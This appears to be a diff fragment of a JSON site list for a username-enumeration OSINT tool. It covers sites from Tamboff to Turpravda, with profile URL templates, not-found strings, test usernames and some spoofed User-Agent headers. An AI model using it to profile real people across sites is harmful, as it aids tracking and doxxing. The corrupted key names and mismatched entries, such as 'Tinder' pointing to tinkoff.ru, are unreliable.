"errorMsg": "Извините, такого пользователя не существуе", + "errorMsg2": " - tamboff.ru ", + "errorTyp��": "message", + "url": "http://www.tamboff.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.tamboff.ru", + "usernameON": "z0dl9rnd", + "comments": "bad", + "bad_site": 1 + }, + "TamTam": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "maximum-scale=1", + "errorMsg2": "ТамТам", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://tamtam.chat/{}", + "urlMain": "https://tamtam.chat/", + "usernameON": "blue", + "bad_site": "" + }, + "Taringa_CLOSEDEAD": { + "country": "🇦🇷", + "country_klas": "AR", + "errorTyp��": "response_url", + "url": "https://www.taringa.net/{}", + "urlMain": "https://www.taringa.net/", + "usernameON": "BLUE", + "bad_site": 1 + }, + "Teakdoor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://teakdoor.com/members/{}.html", + "urlMain": "https://teakdoor.com", + "usernameON": "joe-90", + "comments": "bad", + "bad_site": "" + }, + "Techdirt": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " | Techdirt", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.techdirt.com/user/{}/", + "urlMain": "https://www.techdirt.com/", + "usernameON": "thatoneguy", + "bad_site": "" + }, + "Techpowerup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.techpowerup.com/forums/members/?username={}", + "urlMain": "https://www.techpowerup.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Techrepublic": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.techrepublic.com/members/profile/{}/", + "urlMain": "https://www.techrepublic.com", + "usernameON": "Kentertainments75", + "bad_site": 1 + }, + "Tek-tips": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tek-tips.com/userinfo.cfm?member={}", + "urlMain": "https://www.tek-tips.com/", + "usernameON": "red", + "bad_site": "" + }, + "Teknik": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The user does not exist", + "errorMsg2": "Not Exist | Teknik ", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://user.teknik.io/{}", + "urlMain": "https://teknik.io/", + "usernameON": "red", + "bad_site": 1 + }, + "Telegram": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://t.me/{}", + "urlMain": "https://t.me/", + "usernameON": "Klaus", + "bad_site": "" + }, + "Telepropusk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://telepropusk.ru/forums/users/{}/", + "urlMain": "https://telepropusk.ru", + "usernameON": "telepropusk", + "bad_site": "" + }, + "Teletype": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://teletype.in/@{}", + "urlMain": "https://teletype.in", + "usernameON": "adam", + "bad_site": "" + }, + "Television_linternaute": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://television.linternaute.com/profile/user/{}", + "urlMain": "https://television.linternaute.com", + "usernameON": "Radinoz", + "bad_site": "" + }, + "Tellonym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tellonym.me/{}", + "urlMain": "https://tellonym.me/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Tenchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tenchat.ru/{}", + "urlMain": "https://tenchat.ru", + "usernameON": "agreec", + "bad_site": "" + }, + "Teplak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "Теплый Стан :: ", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://www.teplak.ru/frm/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.teplak.ru", + "usernameON": "Lexa", + "comments": "zamedlenie", + "bad_site": 1 + }, + "Terminator": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terminator-scc.net.ru/index/8-0-{}", + "urlMain": "http://terminator-scc.net.ru", + "usernameON": "red", + "bad_site": "" + }, + "Terminatorium": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://terminatorium.borda.ru/?32-{}", + "urlMain": "https://terminatorium.borda.ru/", + "usernameON": "tengu", + "bad_site": "" + }, + "Termoshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://termoshop.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://termoshop.ru/", + "usernameON": "yurez", + "bad_site": "" + }, + "Test_pypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "page\":0,\"totalMatches\":0", + "errorMsg2": "results\":[]", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://test.pypi.org/user/{}/", + "urlMain": "https://test.pypi.org", + "usernameON": "samsja", + "urlProbe": "https://deps.dev/_/search?q={}&system=PYPI&page=0&perPage=20", + "bad_site": "" + }, + "Tetongravity": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "This user has not registered and therefore does not have a profile to view", + "errorTyp��": "message", + "url": "https://www.tetongravity.com/forums/member.php/?username={}", + "urlMain": "https://www.tetongravity.com", + "usernameON": "RoooR", + "bad_site": "" + }, + "Texasguntalk": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.texasguntalk.com/members/?username={}", + "urlMain": "https://www.texasguntalk.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thaicat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thaicat.ru/index/8-0-{}", + "urlMain": "http://www.thaicat.ru", + "usernameON": "SparcO", + "bad_site": "" + }, + "Theanswerbank": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Welcome to the AnswerBank", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.theanswerbank.co.uk/members/{}", + "urlMain": "https://www.theanswerbank.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thebeautybrains": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://thebeautybrains.com/users/{}/", + "urlMain": "https://thebeautybrains.com", + "usernameON": "randys", + "bad_site": "" + }, + "Thebigboss": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://thebigboss.org/author/{}", + "urlMain": "http://thebigboss.org", + "usernameON": "adam", + "bad_site": "" + }, + "Thechessforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thechessforum.com/profile/{}/", + "urlMain": "https://thechessforum.com", + "usernameON": "menaalkhan", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Thechive": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://thechive.com/author/{}/", + "urlMain": "https://thechive.com", + "usernameON": "camrybishop", + "bad_site": "" + }, + "THEcommunity": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://thecommunity.ru/user/{}/", + "urlMain": "https://thecommunity.ru", + "usernameON": "pjslot", + "bad_site": "" + }, + "Thefastdiet": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "page doesn", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thefastdiet.co.uk/forums/users/{}/", + "urlMain": "https://thefastdiet.co.uk", + "usernameON": "fadepeacock", + "bad_site": "" + }, + "Thefastlaneforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.thefastlaneforum.com/community/members/?username={}", + "urlMain": "https://www.thefastlaneforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thelion": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "We are sorry but the following error has occurred.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={}", + "urlMain": "http://www.thelion.com", + "usernameON": "adam", + "bad_site": "" + }, + "Themeforest": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://themeforest.net/user/{}", + "urlMain": "https://themeforest.net", + "usernameON": "adam", + "bad_site": "" + }, + "Theodysseyonline": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theodysseyonline.com/user/@{}", + "urlMain": "https://www.theodysseyonline.com", + "usernameON": "adam", + "bad_site": "" + }, + "Theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://theoutlander.ru/index/8-0-{}", + "urlMain": "http://theoutlander.ru", + "usernameON": "Parma", + "bad_site": "" + }, + "Thephysicsforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "The Physics Forum", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thephysicsforum.com/members/{}.html", + "urlMain": "https://www.thephysicsforum.com", + "usernameON": "andrewc", + "bad_site": "" + }, + "Thesimsresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thesimsresource.com/artists/{}/", + "urlMain": "https://www.thesimsresource.com/", + "usernameON": "soloriya", + "bad_site": "" + }, + "Thestudentroom": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "NoneNone", + "errorMsg2": "This user has not registered and therefore does not have a profile to view.", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thestudentroom.co.uk/member.php?username={}", + "urlMain": "https://www.thestudentroom.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thevampirediaries": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://thevampirediaries.ru/user/{}/", + "urlMain": "http://thevampirediaries", + "usernameON": "PrestonPauh", + "comments": "no_oplata", + "bad_site": 1 + }, + "Theverge": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theverge.com/users/{}", + "urlMain": "https://www.theverge.com", + "usernameON": "Patlex", + "bad_site": "" + }, + "Thewatchforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.thewatchforum.co.uk/members/?username={}", + "urlMain": "https://www.thewatchforum.co.uk", + "usernameON": "wrench", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thingiverse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.thingiverse.com/{}/designs", + "urlMain": "https://www.thingiverse.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Thlaspi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thlaspi.com/en/user/{}", + "urlMain": "https://thlaspi.com", + "usernameON": "eblinkoff", + "comments": "-t 22 good", + "bad_site": "" + }, + "Threads": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Threads", + "errorMsg2": "| Cloudflare", + "errorMsg3": "content=\"https://www.threads.com/login", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "Priority": "u=1", + "DNT": "1", + "Host": "www.threads.com", + "Connection": "keep-alive", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.threads.com/@{}", + "urlMain": "https://www.threads.com", + "usernameON": "adam", + "bad_site": "" + }, + "TikTok": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tiktok.com/@{}?lang=ru-RU", + "urlMain": "https://www.tiktok.com/", + "headers": { + "Accept": "*/*", + "Sec-GPC": "1", + "Connection": "keep-alive", + "Host": "www.tiktok.com", + "User-Agent": "Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)" + }, + "usernameON": "red", + "bad_site": "" + }, + "Tildes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tildes.net/user/{}", + "urlMain": "https://tildes.net", + "usernameON": "Palatino", + "bad_site": "" + }, + "Tinder": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Dating, Make Friends &", + "errorMsg2": "заводи друзейТинькофф", + "errorTyp��": "message", + "url": "https://www.tinkoff.ru/invest/social/profile/{}/", + "urlMain": "https://www.tinkoff.ru", + "usernameON": "Usual_user", + "bad_site": "" + }, + "Tjournal_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Мы все внимательно посмотрели, но ничего не нашли :(", + "errorMsg2": "Можно попробовать изменить поисковый запрос или пойти почитать", + "errorTyp��": "message", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={}", + "urlMain": "https://tjournal.ru", + "usernameON": "adam", + "bad_site": 1 + }, + "Tkgr": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tkgr.ru/forum/member/{}", + "urlMain": "http://tkgr.ru/", + "usernameON": "siber", + "comments": "zamedlenie", + "bad_site": "" + }, + "Tl": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://tl.net/forum/profile.php?user={}", + "urlMain": "https://tl.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tolyatty": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tolyatty.net/user/{}/", + "urlMain": "http://tolyatty.net", + "usernameON": "derre-red", + "bad_site": 1 + }, + "Tomtom_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.tomtom.com/en/profile/{}", + "urlMain": "https://discussions.tomtom.com/", + "usernameON": "adam", + "bad_site": 1 + }, + "Toot_mstd": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://toot.cat/@{}", + "urlMain": "https://toot.cat", + "usernameON": "bob", + "bad_site": "" + }, + "Topcheats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topcheats.ucoz.com/index/8-0-{}", + "urlMain": "https://topcheats.ucoz.com", + "usernameON": "sergeizakaz", + "bad_site": "" + }, + "Topdb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Извините, но пользователь не найден", + "errorTyp��": "message", + "url": "https://topdb.ru/{}", + "urlMain": "https://topdb.ru", + "usernameON": "sukaebana2017", + "bad_site": "" + }, + "Topwar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://topwar.ru/user/{}/", + "urlMain": "https://topwar.ru", + "usernameON": "datur", + "bad_site": "" + }, + "Torrent-soft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://torrent-soft.net/user/{}/", + "urlMain": "https://torrent-soft.net", + "usernameON": "Baguvix", + "bad_site": "" + }, + "Totalstavki_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://totalstavki.ru/forum/members/?username={}", + "urlMain": "https://totalstavki.ru", + "usernameON": "turbo", + "bad_site": 1, + "comments": "zakr", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Totseans_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Totseans", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://www.totseans.com/bbs/profile/{}", + "urlMain": "http://www.totseans.com", + "usernameON": "Vizier", + "comments": "RUblock", + "bad_site": 1 + }, + "Tottenhamhotspur": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://tottenhamhotspur.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tottenhamhotspur.ru", + "usernameON": "rusiakos", + "bad_site": "" + }, + "Touristlink": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Members across the World", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.touristlink.com/user/{}", + "urlMain": "https://www.touristlink.com", + "usernameON": "green", + "comments": "Oplata", + "bad_site": 1 + }, + "Tourney": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "colspan=\"4\">", + "errorTyp��": "message", + "url": "http://www.tourney.ru/forum/userlist.php?username={}&show_group=-1&sort_by=username", + "urlMain": "http://www.tourney.ru", + "usernameON": "Spirit", + "bad_site": "" + }, + "Toxicbun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://toxicbun.com/@{}", + "urlMain": "https://toxicbun.com", + "usernameON": "Mark", + "comments": "bad", + "bad_site": 1 + }, + "Toyster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "toyster.ru форум", + "errorTyp��": "message", + "url": "https://toyster.ru/forum/member.php?username={}", + "urlMain": "https://toyster.ru", + "usernameON": "DEMOH85", + "bad_site": "" + }, + "TrackmaniaLadder": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "player unknown or invalid", + "errorMsg2": "NoneNone", + "errorMsg3": "player unknown or invalid", + "errorTyp��": "message", + "url": "http://en.tm-ladder.com/{}_rech.php", + "urlMain": "http://en.tm-ladder.com/index.php", + "usernameON": "blue", + "comments": "bad", + "bad_site": 1 + }, + "TradingView": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "This isn't the page you're looking for", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.tradingview.com/u/{}/", + "urlMain": "https://www.tradingview.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Trainsim": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://www.trainsim.com/vbts/member.php?username={}", + "urlMain": "https://www.trainsim.com/", + "usernameON": "adam", + "comments": "super", + "bad_site": 1 + }, + "Trakt": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.trakt.tv/users/{}", + "urlMain": "https://www.trakt.tv/", + "usernameON": "blue", + "bad_site": "" + }, + "Translatewiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://translatewiki.net/wiki/User:{}", + "urlMain": "https://translatewiki.net", + "usernameON": "Adam", + "bad_site": "" + }, + "Tranzilla": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По данному запросу ничего не найдено.", + "errorMsg2": "><div class=\"info_block\"></div><h2>", + "errorMsg3": "Internal Server Error", + "errorTyp��": "message", + "url": "https://tranzilla.ru/search/?request=&search_type=t", + "urlMain": "https://tranzilla.ru", + "usernameON": "irina", + "bad_site": 1 + }, + "Trashbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "div_text_error2", + "errorTyp��": "message", + "url": "https://trashbox.ru/users/{}", + "urlMain": "https://trashbox.ru/", + "usernameON": "blue", + "bad_site": "" + }, + "Travelblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.travelblog.org/Bloggers/{}", + "urlMain": "https://www.travelblog.org", + "usernameON": "adam", + "bad_site": "" + }, + "Travelfish": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Private or invalid", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.travelfish.org/member_popup.php?u={}", + "urlMain": "https://www.travelfish.org", + "usernameON": "YeMeansWater", + "bad_site": "" + }, + "Travellerspoint": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.travellerspoint.com/users/{}/", + "urlMain": "https://www.travellerspoint.com", + "usernameON": "blue", + "bad_site": "" + }, + "Travis": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://travis-ci.community/u/{}/summary", + "urlMain": "https://travis-ci.community/", + "usernameON": "montana", + "bad_site": "" + }, + "Trello": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "model not found", + "errorMsg2": "Trello Server Error", + "errorTyp��": "message", + "url": "https://trello.com/{}", + "urlMain": "https://trello.com/", + "urlProbe": "https://trello.com/1/Members/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Trictrac": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "url": "https://www.trictrac.net/mur/{}", + "urlMain": "https://www.trictrac.net", + "usernameON": "entelechie", + "bad_site": "" + }, + "Trilife": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "

", + "errorTyp��": "message", + "url": "https://trilife.ru/search/?q={}&sort=&entity=users&from=&to=", + "urlMain": "https://trilife.ru", + "usernameON": "irina", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trinixy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://trinixy.ru/user/{}/", + "urlMain": "https://trinixy.ru", + "usernameON": "green", + "bad_site": "" + }, + "TripAdvisor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "(!cancel)", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.tripadvisor.com/Profile/{}", + "urlMain": "https://www.tripadvisor.com", + "usernameON": "blue", + "bad_site": "" + }, + "Tripline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripline.net/{}", + "urlMain": "https://www.tripline.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tripoto": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripoto.com/profile/{}", + "urlMain": "https://www.tripoto.com", + "usernameON": "kapilpandit", + "bad_site": "" + }, + "Tripster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tripster.ru/{}/", + "urlMain": "https://tripster.ru", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trisquel": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://trisquel.info/it/users/{}", + "urlMain": "https://trisquel.info", + "usernameON": "redfox", + "bad_site": "" + }, + "Trp_red": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://www.trp.red/follow/{}", + "urlMain": "https://www.trp.red", + "usernameON": "AlwaysStoic", + "bad_site": "" + }, + "Truckersmp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://truckersmp.ru/{}", + "urlMain": "https://truckersmp.ru", + "usernameON": "RamanBY", + "bad_site": "" + }, + "Trueachievements": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.trueachievements.com/gamer/{}", + "urlMain": "https://www.trueachievements.com", + "usernameON": "metallicafan459", + "bad_site": "" + }, + "Truelancer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This page could not be found.", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://www.truelancer.com/freelancer/{}", + "urlMain": "https://www.truelancer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Truesteamachievements": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "status_code", + "url": "https://truesteamachievements.com/gamer/{}", + "urlMain": "https://truesteamachievements.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Truthbook": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.truthbook.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://truthbook.com", + "usernameON": "fanofVan", + "bad_site": "" + }, + "Truthpodium": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://truthpodium.org/@{}", + "urlMain": "https://truthpodium.org", + "usernameON": "Bubba8613", + "bad_site": "" + }, + "Trworkshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "http://www.trworkshop.net/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.trworkshop.net", + "usernameON": "eric", + "bad_site": "" + }, + "Ttrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, пользователь не найден", + "errorMsg2": "<title data-react-helmet=\"true\">Тропинки.ру", + "errorTyp��": "message", + "url": "https://ttrails.ru/users/{}", + "urlMain": "https://ttrails.ru", + "usernameON": "danika983", + "bad_site": "" + }, + "Ttsport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.ttsport.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.ttsport.ru", + "usernameON": "Roos", + "comments": "bad", + "bad_site": "" + }, + "Tula": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tula.net.ru/user/{}/", + "urlMain": "http://tula.net.ru", + "usernameON": "evgenij", + "bad_site": 1 + }, + "Tulup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Нет записей, удовлетворяющих условиям запроса", + "errorMsg2": "

", + "errorTyp��": "message", + "url": "https://www.tulup.ru/noindex/userlist.php?search={}", + "urlMain": "https://www.tulup.ru", + "usernameON": "Murchik", + "bad_site": "" + }, + "Tumblr": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://{}.tumblr.com/", + "urlMain": "https://tumblr.com/", + "usernameON": "red", + "comments": "cf", + "bad_site": "" + }, + "Tunefind": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "false,\"err\":{\"name", + "errorMsg2": "Tunefind", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tunefind.com/user/profile/{}", + "urlMain": "https://www.tunefind.com", + "usernameON": "adam", + "comments": "super", + "bad_site": "" + }, + "Turbina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://turbinatravels.com/authors/{}/", + "urlMain": "https://turbina.ru", + "usernameON": "maklai", + "comments": "bad", + "bad_site": "" + }, + "Turkey-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "Пользователей: 0", + "errorTyp��": "message", + "url": "https://turkey-info.ru/forum/memberlist.php?username={}", + "urlMain": "https://turkey-info.ru", + "usernameON": "orduzulu", + "bad_site": "" + }, + "Turpravda": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "https://www.turpravda.ua/profile/{}/", + "urlMain": "https://www.turpravda.ua", + "usernameON": "iryna83", + "bad_site": "" + 